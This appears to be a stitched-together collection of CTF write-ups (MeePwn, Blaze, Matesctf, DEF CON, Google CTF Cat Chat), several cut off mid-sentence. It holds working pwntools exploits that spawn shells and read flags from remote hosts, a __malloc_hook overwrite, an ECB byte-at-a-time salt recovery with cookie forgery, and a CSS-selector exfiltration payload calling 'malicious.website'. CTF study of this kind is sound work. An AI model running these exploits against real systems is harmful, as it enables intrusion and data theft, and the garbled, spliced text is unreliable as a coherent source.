Video walkthrough and explanation[https://www.youtube.com/watch?v=bshuAGkgY3M&t=0s&index=8&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6](https://www.youtube.com/watch?v=bshuAGkgY3M&t=0s&index=8&list=PL1H1sBF1VAKUdXGN03SFFXcW9-lTF1Ug6)
PyCalX2 was part of the MeePwnCTF Quals 2018 and consists of a webpage with 3 inputs,a value, an operator and a second value. You should have a look PyCalX before reading this writeup. ## Filtered input The code differs from PyCalX by the fact that our operation is filtered now too, thisbreaks our quote injection and we have to find a new way in. ```diff- op = get_op(arguments['op'].value)+ op = get_op(get_value(arguments['op'].value))``` ## Fun with flags Well, seeing the flag of PyCalcX we get a hint for python3.6, reading the changelog wefound that python3.6 intruduced a new type of format-strings, often called f-stringsor Literal String Interpolation. With that information our new operator now is: `+f` ## Exploit These new format strings allow some eval-like behaviour, using `{FLAG
[](ctf=blaze-2018)[](type=exploit)[](tags=game)[](techniques=shellcode) # shellcodeme (pwn-420) ```Can you please smoke this? nc shellcodeme.420blaze.in 420 Author : aweinstock Solves : ~60``` This challenge had a hard version too. The way I exploited this chall worked in the hard one too. So 2 flags for the work of one.Source code was provided. ```c// gcc -zexecstack -Os shellcodeme.c -o shellcodeme#include <stdio.h>#include <string.h>#include <sys/mman.h>#include <unistd.h> #define BUF_SIZE (0x4096 & ~(getpagesize()-1)) int main() { setbuf(stdout, NULL); unsigned char seen[257], *p, *buf; void (*f)(void); memset(seen, 0, sizeof seen); buf = mmap(0, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); puts("Shellcode?"); fgets(buf, BUF_SIZE, stdin); fflush(stdin); for(p=buf; *p != '\n'; p++) { seen[256] += !seen[*p]; seen[*p] |= 1; } if(seen[256] > 7) { puts("Shellcode too diverse."); _exit(1); } else { *(void**)(&f) = (void*)buf; f(); _exit(0); }}``` 4 rwx pages are mmaped on which we can copy our input(0x4000). The only catch is the shellcode can't contain more than 7 unique bytes. ```cfor(p=buf; *p != '\n'; p++) { seen[256] += !seen[*p]; seen[*p] |= 1; }``` This code iterates through each input byte and sums up the number of unique bytes in the shellcode. The `seen` table is very important for my strategy of exploitation. ![jmp](jmp.png) At `0x40072d` the control is transferred to rbp using a `call`. I first tried to look at the context on that state and then use the registers to make a read `syscall` on an rwx page in the libc. However with the restriction in place I could not successfully jump to the page. The next thought I had was to restart the execution of main such that we can bypass the check in place. ![exp](exp.png) As I noticed that `memset` operation is done on `0x400699`, once the `seen` table has initialized we can skip doing it again in the second run. Jumping to anywhere after the memset operation should work. If we are able to corrupt the 256 byte count table in a way that unique count calculated is in our control then that would let us run arbirary code in the next run. So in the first run we can execute 'push' to setup the stack in such a way that seen[256] is overflowed back to < 7 in the next run. Here's how I did it in 7 unique bytes: * `pop` the saved rip from the stack to a register(rbx) (+1 unique byte)* `dec` the 32bit variant of that register to make it 0x4006d2 (+2 unique bytes)* spray the stack by `push`ing the register to setup an already filled `seen` (+1 unique bytes)* `inc rsp` to align `seen[256]` with 0xd2. will overflow this in the next run (+2 unique bytes)* `ret` to get input again to the same page (+1 unique bytes)* input a shellcode such that seen[256] is overflowed back to 0 ```from pwn import * context(arch='amd64', os='linux', log_level='info') payload = asm("pop rbx; "+("dec rbx; "*(0x72f-0x6d2))+("push rbx; "*64)+"inc rsp; jmp rbx")payload2 = asm(shellcraft.amd64.linux.sh())+"".join(map(chr, range(100,157))) s = remote("shellcodeme.420blaze.in",420)raw_input() s.sendline(payload)s.sendline(payload2) s.interactive()s.close()``` Output```bash$ python shellcodeme.py [+] Opening connection to shellcodeme.420blaze.in on port 420: Done [*] Switching to interactive modeShellcode?$ iduid=1000(shellcodeme) gid=1000(shellcodeme) groups=1000(shellcodeme)$ cat flagblaze{g0lf3d_y0ur_sh3llc0d3's_un1qu3_byt3z}$ [*] Closed connection to shellcodeme.420blaze.in port 420```
Glulx bytecode reverse engineering; input is hashed via matrix multiplication and scramble; required to find and run hidden `xyzzy` command before solving challenge.
# Mapl Story Mapl Story was part of the MeePwnCTF Quals 2018 and consists of a webpage where you can name a"character" and train a pet a command. You get the code but the config is censored. ## Have a look around First of let's create an account, e.g. [email protected]/foobar123, set any name, we'll change that later. Sign in and have a look at your cookies, you'll see your PHPSESSID and a `_role`.`_role` is generated using either `sha256("admin".$salt)` or (in this case) `sha256("user".$salt)`.We need the salt to continue here. Have a look around the few pages on the site. The game page is completely irrelevant, just a gimmick. ## File inclusion vulnerability There is a file inclusion vulnerability in index.php, so have a look at e.g. `/index.php?page=/etc/group`.Unfortunately it uses a GET variable which is heavily escaped so for now there isn't really much we candirectly do with this bug. ## Let's get salty Let's have a look at `/index.php?page=/var/lib/php/sessions/sess_PHPSESSID` (replace PHPSESSID). You'll see a variable called `character_name`.`character_name` is AES-128-ECB encrypted data using `openssl_encrypt($data.$salt,"AES-128-ECB",$key)`.Since AES-128-ECB is working on 16-byte blocks and we control the start of the string (it's the character name youcan update on your settings page!) we can attack it by brute-forcing byte by byte. We start of setting a character name like `AAAAAAAAAAAAAAA` (15x'A') and we'll look at the first 32 charactersof the hash in the session file, now we start trying printable characters at the 16. position, we'll find a hashmatch at `AAAAAAAAAAAAAAAm` so we now the salt starts with `m`. Next we do the same thing with`AAAAAAAAAAAAAA` (14x'A') and will get the hash and try characters again, the next match will be `AAAAAAAAAAAAAAms`. We'll continue this until we finally get the salt: `ms_g00d_0ld_g4m3`. ## Becoming admin Becoming admin now is as simple as writing the result of `sha256("admin"."ms_g00d_0ld_g4m3")` into our `_role`cookie. After refreshing the page you'll see the admin link appearing in the navigation bar. `sha256("admin"."ms_g00d_0ld_g4m3") => a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054` ## Give yourself a pet In the admin menu you have to give yourself a pet. This will allow you to train it commands on the characterpage, which is just writing a text-file under `"uploads/".md5($salt.$email)."/command.txt`.A lot of characters are filtered and you can only write 19 characters, so you can't really do much with thisalone. 19 characters is just barely long enough to fit a base64-encoded ```
```import pyqrcodeimport stringimport randomimport png import ImageOpsimport ImageDrawimport numpyfrom PIL import Image, ImageEnhanceimport urllibimport qrtoolsfrom qrtools import QR def transformblit(src_tri, dst_tri, src_img, dst_img): ((x11,x12), (x21,x22), (x31,x32)) = src_tri ((y11,y12), (y21,y22), (y31,y32)) = dst_tri M = numpy.array([ [y11, y12, 1, 0, 0, 0], [y21, y22, 1, 0, 0, 0], [y31, y32, 1, 0, 0, 0], [0, 0, 0, y11, y12, 1], [0, 0, 0, y21, y22, 1], [0, 0, 0, y31, y32, 1] ]) y = numpy.array([x11, x21, x31, x12, x22, x32]) A = numpy.linalg.solve(M, y) src_copy = src_img.copy() srcdraw = ImageDraw.Draw(src_copy) srcdraw.polygon(src_tri) transformed = src_img.transform(dst_img.size, Image.AFFINE, A) mask = Image.new('1', dst_img.size) maskdraw = ImageDraw.Draw(mask) maskdraw.polygon(dst_tri, fill=0) dstdraw = ImageDraw.Draw(dst_img) dstdraw.polygon(dst_tri, fill=(0,0,0,0)) dst_img.paste(transformed, mask=mask) def randomg(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for x in range(size))# hell gose lose here# http://13.81.248.25/qr/img/streamframe.pngurllib.urlretrieve("http://13.81.248.25/qr/img/streamframe.png", "streamframe.png" )qr = Image.open("streamframe.png").convert("RGBA")blank = Image.new("RGBA", (4608, 2529), (0,0,0,0)) #Start: Part 1 of the QR codepart1 = qr.crop((2089, 1558, 2358, 1723))contrast = ImageEnhance.Contrast(part1)part1 = contrast.enhance(1.6) part1 = part1.rotate(22, resample=Image.BICUBIC, expand=True)width, height = part1.sizem = -0.62xshift = abs(m) * widthnew_width = width + int(round(xshift))part1 = part1.transform((new_width, height), Image.AFFINE, (1, m, -xshift if m > 0 else 0, 0, 1.43, 0), Image.BILINEAR) part1 = part1.resize((285, 285), Image.ANTIALIAS)part1 = part1.resize((800, 800), Image.ANTIALIAS) # junk trimmingtri1 = [(10,10), (20,20), (10,20)]tri2 = [(10,10), (212,100), (208,800)]transformblit(tri1, tri2, blank, part1)tri2 = [(150,500), (211,280), (600,800)]transformblit(tri1, tri2, blank, part1)tri2 = [(300,420), (470,420), (600,800)]transformblit(tri1, tri2, blank, part1)tri2 = [(470,420), (470,100), (900,600)]transformblit(tri1, tri2, blank, part1)tri2 = [(100,140), (470,140), (800,10)]transformblit(tri1, tri2, blank, part1)tri2 = [(344,218), (365,0), (800,670)]transformblit(tri1, tri2, blank, part1)# final trimpart1 = part1.crop((213, 141, 469, 419)) contrast = ImageEnhance.Contrast(part1)part1 = contrast.enhance(1.5) #Start: Part 2 of the QR codepart2 = qr.crop((2031, 1584, 2287, 1742))contrast = ImageEnhance.Contrast(part2)part2 = contrast.enhance(2.7) part2 = ImageOps.mirror(part2) part2 = part2.rotate(0+20-4, resample=Image.BICUBIC, expand=True) width, height = part2.sizem = -0.49xshift = abs(m) * widthnew_width = width + int(round(xshift))part2 = part2.transform((new_width, height), Image.AFFINE, (1.1, m, -xshift if m > 0 else 0, 0, 1.605, 0), Image.BILINEAR)part2 = part2.resize((800, 700), Image.ANTIALIAS)contrast = ImageEnhance.Contrast(part2)part2 = contrast.enhance(1.2) part2 = part2.crop((245, 80, 393, 301))tri1 = [(10,10), (20,20), (10,20)]tri2 = [(0,0), (0,220), (100,220)]transformblit(tri1, tri2, blank, part2)part2 = part2.resize((240, 278), Image.ANTIALIAS) blank2 = Image.new("RGBA", (278, 278), (0,0,0,0)) contrast = ImageEnhance.Contrast(part2)part2 = contrast.enhance(1.6) blank2.paste(part2, (12, 4), part2)blank2.paste(part1, (0, 0), part1)blank2.save("./sol.png", "PNG")part1.save("./part1.png", "PNG")part2.save("./part2.png", "PNG") myCode = QR(filename=u"./sol.png")if myCode.decode(): print myCode.data_to_string()``` [https://nitesculucian.github.io/2018/07/15/dctf-2017-security-cctv-writeup/](https://nitesculucian.github.io/2018/07/15/dctf-2017-security-cctv-writeup/)
## === Max Setting (Pwn: 22 solves / 400 teams, 150 pts) === Solution:1. This binary can read and write 8 bytes to any address more than once.2. I can get the text address from the stack.3. I read the stack data for 256/8 = 32 pieces. Only the address of the text section (address > `0x500000000000` and address < `0x600000000000` ) is extracted. I subtracted 0xa0a from the address, if the lower address became 0x000, I judged it as text base address.``` leak_data = 0x55f7cce49a0a text_base = leak_data - 0xa0a = `0x55f7cce49000```` 4. I can get the base address of libc from GOT address.``` read_got = `0x55f7cd049fc8` read_addr = `0x7f007958c070` libc_base = read_addr - libc.symbols['read'] = `0x7f007947c000````5. There is a EzMoney() function that can display flag.``` int EzMoney() { return system("cat flag"); }```6. I found that when calling `_IO_getc()` function, the address written to `__malloc_hook` will be called.``` puts("\nExit for sure?\n"); if ( _IO_getc(stdin) == 'y' ) puts("Bye bye"); else puts("Haha ... goodbye");```7. Because write( `0` , buf, 8) function is writing to stdin(0), I changed the execution binary to stdout(1).``` 00000980 f0 ba 08 00 00 00 48 89 c6 bf `00` 00 00 00 e8 bd 00000980 f0 ba 08 00 00 00 48 89 c6 bf `01` 00 00 00 e8 bd``` The Exploit code is shown below.```from pwn import * #context.log_level = 'debug' BINARY = './maxsetting_stdin2stdout'elf = ELF(BINARY) if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "125.235.240.167" PORT = 4001 s = remote(HOST, PORT) libc = ELF("./libc-2.27.so")else: #s = process([BINARY],env={'LD_PRELOAD': './libc-2.27.so'}) #libc = ELF("./libc-2.27.so") s = process(BINARY) libc = elf.libc for i in range(0,32): if i == 0: s.send(chr(i*8)) else: s.send("y"+chr(i*8)) s.send("\n") s.recvuntil("You wrote: ") r = s.recv(8) leak_data = u64(r) print i, "leak_data =", hex(leak_data) if leak_data > 0x500000000000 and leak_data < 0x600000000000: text_base = leak_data - 0xa0a if text_base & 0xfff == 0: print " text_base =", hex(text_base) break s.recvuntil("Try again?\n") EzMoney_adr = text_base + 0x90e read_got = text_base + 0x200FC8print "read_got =", hex(read_got) s.recvuntil("Try again?\n")s.send("y") s.send(p64(read_got))s.send("y")s.recvuntil("You wrote: ")r = s.recv(8)read_addr = u64(r) libc_base = read_addr - libc.symbols['read']malloc_hook = libc_base + libc.symbols['__malloc_hook']print "read_addr =", hex(read_addr)print "libc_base =", hex(libc_base)print "malloc_hook =", hex(malloc_hook) s.recvuntil("Try again?\n")#s.send("y") s.send(p64(malloc_hook))s.send(p64(EzMoney_adr)) s.recvuntil("Try again?\n")s.send("n") s.interactive()``` The execution results are shown below. ```guest@ubuntu:~/Pwn_Max_Setting$ python exploit.py r Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 125.235.240.167 on port 4001: Done Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled0 leak_data = 0x81 leak_data = 0x7f007958c0812 leak_data = 0xb3 leak_data = 0x7f0079a8c4c04 leak_data = 0x55f7cce49a0a text_base = 0x55f7cce49000read_got = 0x55f7cd049fc8read_addr = 0x7f007958c070libc_base = 0x7f007947c000malloc_hook = 0x7f0079867c30[*] Switching to interactive mode Exit for sure? matesctf{Ezmoney_3zm0n3y_too_3z}```
Elastic cloud compute (memory) corruption (or EC3 for short) was a binary pwn task on recent DEF CON CTF 2018 Quals. You're dropped into a Linux virtual machine with root privileges, and your objective is to escape from the VM to read the flag on the host filesystem. Task description mentions some custom PCI device. This virtual device's implementation has heap overflow vulnerability allowing read-write out-of-bounds access and UAF vulnerability. Although this is more than enough to leverage well-known heap exploitation techniques, due to my inadequate pwn skills, I decided to resort to heap spraying instead. Read more here: [https://blog.bushwhackers.ru/defconquals2018-ec3/](https://blog.bushwhackers.ru/defconquals2018-ec3/)
# Bazik (crypto, 74 solved, 100p) In the challenge we can connect to a remote server.Session is basically: ```Choose one:1. Test the OTP2. Get the public key3. Get flag1otp should be: 687845634encrypted dat: 764a18c52802f763f721b6b2d7fd82738e08dc660d039f1a3ee9dff84159cc102de36537d659e26e6a6e9b1088239b4db6bce64929183e8bfd93ad2acef6b3bfe30e53c59f9f205260de5fe149bdeb486a01ed61ca9e574b8807a3a466275c5c2b118015e538eb4bf81a28fc6d51469cde0e441d8348844a3984e35aedfd69f0decrypted dat: Your OTP for transaction #731337 in ABCXYZ Bank is 687845634.decrypted otp: ['687845634'] Choose one:1. Test the OTP2. Get the public key3. Get flag2-----BEGIN PUBLIC KEY-----MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQCh+QbIPzbKDr8U/+sxHxr9I2vs352vWIMlGHa1UNx9nvH0PQT8FsaXv0n5mmWwcL6qDxWL/JDRPdN6GrWuYrGTHlEYqrrMu29K6vUjBlEh91OI1reC/I+ifSk9wPJEqaIW7IQKmlUVCbNyx5nEJ0PDHjLopFbCdFW45x5OWu56QwIBAw==-----END PUBLIC KEY----- Choose one:1. Test the OTP2. Get the public key3. Get flag3encrypted dat: 013137fd49bcccd5cb123102231a46b2047f043431295112c748fd8bad840a5fcf46ed1a07c5e1eeebd380e73a0e827798c76ae0c69a3cef6b161d4acd14c5799fd1e36063e009571fb2314c2e619ea98754c3b908d3f52bbf2522069fac574ccb7562b08e563e030eaf1d381fbc5e26294e2f5e6bb09077333598cc9abfb996send me otp to get flag >>>``` What happens here is: 1. We have RSA public key. Worth noticing that `e=3` so is very small.2. We can "test OTP", which just shows us how the value is encrypted. The value for encryption is `Your OTP for transaction #731337 in ABCXYZ Bank is XXXX.` where XXXX is the random OTP value. We can verify this by encrypting the payload with given public RSA key.3. When we request the flag it will ask us for OTP value of some encrypted payload. It is important to notice that the encrypted messages differ only very slightly.We can abuse this by using `Stereotyped Messages Attack` which can decrypt such messages using Coppersmith method: - We have encrypted message `c`- We have `similar` message for which we know plaintext, in our case `m = bytes_to_long("Your OTP for transaction #731337 in ABCXYZ Bank is 000000000.")`- We can build a polynomial `((m + x)^e - c) mod N` and root of such polynomial would be the difference between our known message and the encrypted message we have.- This can be efficiently calculated as long as the difference doesn't exceed `N^1/e`. ```pythonimport timeimport sys def long_to_bytes(data): data = str(hex(long(data)))[2:-1] return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)]) def bytes_to_long(data): return int(data.encode('hex'), 16) def main(): e,N = (3L, 101100845141156293469516586973179461987930689009763964117872470309684853512775295312081121501322683984914454311655512983781714534411655378725344931438891842226528067586198216797211681076517718505980665732445770547794541814618131322049740520275847849231052080791884055178607671253203354019327951368529475389269L) c = 0x20375ebbb61e4841c9cb223fbbdd3bfc271fdfc581680ea1e8e6232b7a37a8d34e9979c0e0f44dac09efa840d8c3d74e59ec6477a2378221e7130d3b82602be37472df51621cc3e4b4be845c8c320051c9a712eafb50fe738c07bf01901d889981b3b0cea2abd3ef9771ae06de089791e83700627e2f8e5f83f17c082542a3da m = bytes_to_long("Your OTP for transaction #731337 in ABCXYZ Bank is 000000000.") P.<x> = PolynomialRing(Zmod(N), implementation='NTL') pol = (m + x)^e - c roots = pol.small_roots(epsilon=1/30) print("Potential solutions:") for root in roots: print(root, long_to_bytes(m+root)) main()``` This code for given public key and ciphertext returns the decrypted value.Once we submit the OTP to the server we get `MeePwnCTF{blackbox-rsa-is-0xd34d}`
# Cat Chat – write-up by @terjanq ## Description > Welcome to Cat Chat! This is your brand new room where you can discuss anything related to cats. You have been assigned a random nickname that you can change any time. > Rules:> - You may invite anyone to this chat room. Just share the URL.> - Dog talk is strictly forbidden. If you see anyone talking about dogs, please report the incident, and the admin will take the appropriate steps. This usually means that the admin joins the room, listens to the conversation for a brief period and bans anyone who mentions dogs. > Commands you can use: (just type a message starting with slash to invoke commands)> - `/name YourNewName` - Change your nick name to YourNewName.> - `/report` - Report dog talk to the admin.> > Btw, the core of the chat engine is open source! You can download the source code [here](./files/server.js).>> Alright, have fun! In the source code we also can find the commented section containing the commands for administrative purposes. > Admin commands: > - `/secret asdfg` - Sets the admin password to be sent to the server with each command for authentication. It's enough to set it once a year, so no need to issue a /secret command every time you open a chat room.> - `/ban UserName` - Bans the user with UserName from the chat (requires the correct admin password to be set). ### So our goal is simple. Find a way to steal the admin's password! ## Page FunctionalityAfter reading the provided sources of the website, I came to the following conclusions:- *Every request to the API (`/report`, `/secret <password>`, `/ban <name>`, `<message>`, `/name <new name>`) is made by `GET` request in the form of: `https://cat-chat.web.ctfcompetition.com/room/<room id>/send?name=<name>&msg=<message>`*- *There are no session cookies. The only cookies received from the server are: `flag=` which stands for the secret password set by `/secret` command and `banned=` determining whether the user has been banned for d\*ggish talk.*- *There is no mechanism to prevent from [CSRF], except for the `/report` command which is being authorized by the [Google reCAPTCHA]. Well, there is one just before the `switch statements` inside [server.js] but I didn't find out the exact purpose of that line.* - *`Content Security Policy` ([CSP]) is as following:* ```Content-Security-Policy: default-src 'self'; # Default source is `https://cat-chat.web.ctfcompetition.com/*` if no rule matched style-src 'unsafe-inline' 'self'; # The source is either inline object `<style>...</style>` or `self` script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; # `self` or from these two domains frame-src 'self' https://www.google.com/recaptcha/ # `self` or from `https://www.google.com/recaptcha/*````*So no urls in the form of `data: ...` are allowed and any attempt of downloading a resource from an external domain will be blocked.*- *There are basicaly two types of the requests which I'll be respectively calling `global` and `private`. The former are those which are being broadcasted to all participants in the chatroom such as `/report` `/ban`, `<message>` and `/name` and the latter being seen only by the user invoking them such as `/rename` and `/secret`. These are handled by the `EventSource` object inside [catchat.js] script.*- *Data is being escaped only by the client side and it is done with a help of the following function `let esc = (str) => str.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');`*- *When an admin joins the room he uses exactly the same page as the others but with the function `cleanupRoomFullOfBadPeople()` invoked.* ## CSS InjectionIt seems that every parsed element on the website is properly escaped so injecting an additional [DOM Element] is rather impossible. It is done by the `esc(str)` function mentioned earlier which replaces each character `'`, `"`, `<`, `>` with its [HTML Entity] substitute. But there is one improperly escaped element. The element allowing us to do the [CSS Injection]! Let's have a closer look at it.```jsdisplay(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);```We see that escaping `data.name` this way won't prevent the called vulnerability. I believe that there are either `quotation marks` outside of the `${esc(data.name)}` missed or escaping two additional characters`[` and `]` which should prevent this type of attack. For the sake of an example let's change our name to `i]{} body{background: red} i[i=`. The inserted element (after getting banned for *I ❤ dogs!* message) should look like: `i]{} body{background: red} i[i= was banned.<style>span[data-name^=i]{} body{background: red} i[i=]{color: red; }</style>` which is a completely valid [CSS Code]. Let's try out our payload on the website! ![css_injection] Firstly, we used the fact that anyone can join the same room, so we used two windows to observe the outcome. Then we changed our name to the payload above to finally call for an admin just to provoke him with the message *I ❤ dogs!* in a moment he joins. As we can see, every participant's window in the chat room, except the one getting banned, should likely turn into red. But how could we use this finding to steal the admin's secret key? Well, this is the question that we have no direct answer on yet but the idea is to generate a proper set of [CSS Selector Rules] sending the sensitive data over. I will shortly explain how these selectors work in a simple example. Suppose we have exactly one `<input id="secret" value="Top Secret Value"/>` element on the page and two selectors `#secret[value^=T]{background: url(http://malicious.website/?ch=T)}` and `#secret[value^=t]{background: url(http://malicious.website/?ch=t)}`. In natural language it translates to *If element of id 'secret' starts with the prefix '<prefix>' set its background value to '<url(...)>'*. The important thing here is that the content from the provided *URL* will not be preloaded. It means that it's only fetched when the element is going to be rendered. Thanks to it, we can get to know each character in the `value` attribute by consistently expanding out the prefix of already known characters. ## Self InjectionBut hey, we cannot send any information outside the domains included in the `CSP` header! So how can we acquire it? And what exactly are we going to steal in the first place? Let's find an answer to the second question first. We know that there is a special command `/secret <new password>` which basically sets a new password with the call of the ``display(`Successfully changed secret to <span>*****</span>`)`` function. This has to be it! We can make the selectors to look like `span[data-secret^=<prefix>]{background: url(...)}`. But we still don't know how exactly could we obtain an information without sending the information out. This is the tricky part. We will use the fact that any `API` call is not being authorized, so making the URL `url(send?name=flag&msg=<prefix>)` shall result with a new message from the *flag* user on the chat containing the prefix of the fetched secret if and only if such element exists on the page. So let's try this out! ![self_injection] As expected, we got two messages – one from us, one from an admin. ## Header InjectionOkay, it seems that we have all we need to steal the admin's password. We know that the password will likely start with `CTF{` but any attempt with such payloads had failed... Why isn't it working? This is why: *“It's enough to set it once a year, so no need to issue a /secret command every time you open a chat room.”*. Admin already joined with the password set in the cookie so there is no element on the page we need! Maybe if somehow we had forced the admin to send the command `/secret` on the page we could get what we seek? Could we include it in the `background: url(send?name=admin&msg=/secret)` as an URL? Sadly no, we can not. It is because the `/secret` command is a type of `private` and there is no way we could process back the response from the call. Maybe we could somehow make the `/secret` command `public` and broadcast it to all users? Let's move away from this crazy idea for a while and focus on how exactly changing the password would help us. We don't want to know the changed secret, we want to know the original one! I've tested whether we can change the admin's password at all by sending a payload with the url `/send?msg=/secret 12345` followed by the `/ban <me>` command to see if I'll get banned. And Nah, it's now working. I mean the idea ain't working because I am legitely not getting banned! Let's have a closer look at the `/secret <arg[1]>` instruction provided inside the [server.js] script. ```jsif (!(arg = msg.match(/\/secret (.+)/))) break; res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); response = {type: 'secret'};```This looks like the [Header Injection]! Well, although we cannot insert [CRLF] \(**C**ariage-**R**eturn **L**ine-**F**eed) characters to make the whole response as we wish due to sanizitaion by the `Node.js`, we can make the cookie invalid! Imagine the following header: `Set-cookie: flag=123456; Domain=adsad; Path=/; Max-Age-31536000` created from the command `/secret 123456; Domain=adsad`. We can read from the [documentation] that> Domain=<domain-value> >> Specifies those hosts to which the cookie will be sent. If not specified, defaults to the host portion of the current document location (but not including subdomains). Contrary to earlier specifications, leading dots in domain names are ignored. If a domain is specified, subdomains are always included. And later> A cookie belonging to a domain that does not include the origin server should be rejected by the user agent. So we can send a valid header with an invalid cookie. This is exactly what we need! The browser will reject the new cookie and the script will handle the `/secret` commands at the same time so the `display()` function will be invoked! ![header_injection] ## Command Injection FailureUp to this moment, I went through all the steps fairly quickly. I thought then that only minutes divided me from the solution and there were no solves on the task yet as I recall correctly. But my excitation was premature and I got lost in it so badly... The solution is quite simple and I was almost there if I had only made the correct payload in time. I looked at the following piece of [server.js] code ```jsif (!(req.headers.referer || '').replace(/^https?:\/\//, '').startsWith(req.headers.host)) { response = {type: "error", error: 'CSRF protection error'}; } else if (msg[0] != '/') { broadcast(room, {type: 'msg', name, msg}); } else { switch (msg.match(/^\/[^ ]*/)[0]) { case '/name': if (!(arg = msg.match(/\/name (.+)/))) break; response = {type: 'rename', name: arg[1]}; broadcast(room, {type: 'name', name: arg[1], old: name}); case '/ban': if (!(arg = msg.match(/\/ban (.+)/))) break; if (!req.admin) break; broadcast(room, {type: 'ban', name: arg[1]}); case '/secret': if (!(arg = msg.match(/\/secret (.+)/))) break; res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); response = {type: 'secret'}; case '/report': if (!(arg = msg.match(/\/report (.+)/))) break; var ip = req.headers['x-forwarded-for']; ip = ip ? ip.split(',')[0] : req.connection.remoteAddress; response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`); } }```and my thoughts were: * **There are no breaks in the switch statement*** **only the first [RegExp]** `msg.match(/^\/[^ ]*/)[0]` correctly matches the command code (start of the `msg` value) and the ones inside switch statement (e.x `/\/name (.+)/`) match occurence of the command regardless the position of the *slash* character in word. So, I tested the payload `/name super_name /secret 123456` hoping I shall see two commands from one message executed but it didn't work... I had yet tested a few similar payloads with slight modifications but after a failure, I assumed that it has to be that switches in *JavaScript* work the way *IFs* would work. I know, I know. Cleverest assumption of the day. If you read up to this place you probably know the complete solution already but before revealing it, I will try to reproduce my thinking process after rejecting that possibility. If you don't wish to read the part not exactly related to the solution, just jump into [The Command Injection Once More](#the-command-injection-once-more) :) I don't remember the exact order of the things I have tried, but it does not really matter at this point. Here are some interesting findings I had discovered. ### X-Forwarded-For There is a misterious piece of code in the [server.js] source.```jscase '/report': if (!(arg = msg.match(/\/report (.+)/))) break; var ip = req.headers['x-forwarded-for']; ip = ip ? ip.split(',')[0] : req.connection.remoteAddress; response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`);```It looks at least very very suspicious. The exact line I am thinking of is `var ip = req.headers['x-forwarded-for'];`. When we type `/report` in the chat our IP is beeing sent over to the admin, but purpose of it is highly unknow since we lack the knowledge of the `const admin = require('./admin');` module. But the idea itself of forging my *IP* by crafting the [HTTP header] `x-forwarded-for` to anything I desire seemed to me like a something definitely worth a try. I tested over for any kind of injection that came to my head starting with the [CSRF], ending with the [SQL Injection], and with [XSS Injection] in the middle, but assumed none of these actually worked since I didn't get any outcome. ### Searching for broadcastAfter that, I had decided to run my own instance of the server and test things out locally. I had tried really hard to call the `broadcast(room, msg)` function with the `/secret` command injected, hoping that there is a part of code on the client side, I hadn't yet found, allowing me to execute two commands from one message in there. This attempt was of course badly unsuccessful and the payloads I was creating were ridiculous by looking at them from the time perspective. The only good thing that came out from it, was that I successfully created my own instance of the server which helped to test things out more effectively. ### Searching for XSSEven though I assumed there was no possibility of [XSS Injection], and if there was any the whole solution would zip into one-line solution and on the other hand, the path I already followed seemed to be the correct one, I was searching for possible `XSS` point on the website. And surprisingly I have found one! I found a vulnerability in the [Google reCAPTCHA] functionality. `<script src="https://www.google.com/recaptcha/api.js?render=6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu"></script>`. I have made a closer look at this script and tried to inject some *XSS* in here. I found the line in the [api.js] looking like dynamically created `... ).push('6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu');window ...`, so I tried to insert the quote character `'` to close the function call in order to insert some more code. As for the surprise, it worked! But when one tries to insert any `alphanumeric` character after it, the line changes to: `push('onload')`. So the challenge is to write a payload without using such characters. Well, we all know [JSFuck] and creating the URL: [https://www.google.com/recaptcha/api.js?render=6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu');[][(![]+[])...();('] produces a valid JavaScript code which when attached pops out the `alert(1)`. This is a serious security gap since this can be easily used to bypass [CSP] protection on third-party websites. Just for the sake of an example, if we found a place to inject `<script>` element on the website from this task we could execute any code we want even though [CSP] was set to prevent such situations. I had reported this vulnerability and now it's patched. More about my report can be found [here](https://github.com/terjanq/google-reported-issue#improper-parameter-sanitization). It totally buzzed me out so I couldn't focus on the task anymore. I was searching for a way to exploit it further, but it's not the actual subject of this write-up so let's skip it ;) ### The Command Injection Once MoreAfter a whole daybreak, I finally realized what mistake I was making and why my `switch exploits` didn't work. If you look closer at the switch statements once more, you realize that there is actually a `break` between `/name` and `/secret` commands! It does seem so much invisible because it's hidden after `if` statement which looks kind of natural, at least for me. So testing the payload `/ban cat_hater /secret 123456; Domain=adsad` on my local instance resulted with successfully attached `/secret` command because between these two there is no `break`. We can find that an admin sends the `/ban` command following the definition of function below```jsif (msg.match(/dog/i)) { send(`/ban ${name}`);```So all we have to do is to send some dirty **d\*ggish message** with a name set to `cat_hater /secret 123456; Domain=asdasd` ![command_injection] ## The complete SolutionTo automate the whole process, I have written a simple [cat_talks_solver.user.js] script, which could be included inside [Tampermonkey] extension. I have also provided with the minified version of the script [cat_talks_minified.js] where the command is very easy to copy-paste into [console]. I encourage you to reproduce all the steps by yourself, so just choose the option fits you the most and try it out! This is almost the exact function I had used during the competition: ```js(function(){ let pref = 'aa]{}#conversation{overflow-x:hidden}'; let suf = 'a[x='; let flag_style = 'span[data-name=flag], span[data-name=flag] + span{color:red; font-size: 15px}'; let solve = false; window.flag = 'CTF{'; window.messagebox.placeholder = '!solve type to make machine start'; let h1 = document.createElement('h1');h1.innerHTML='? The Secret Stealer ?'; document.querySelector('#conversation p').before(h1); 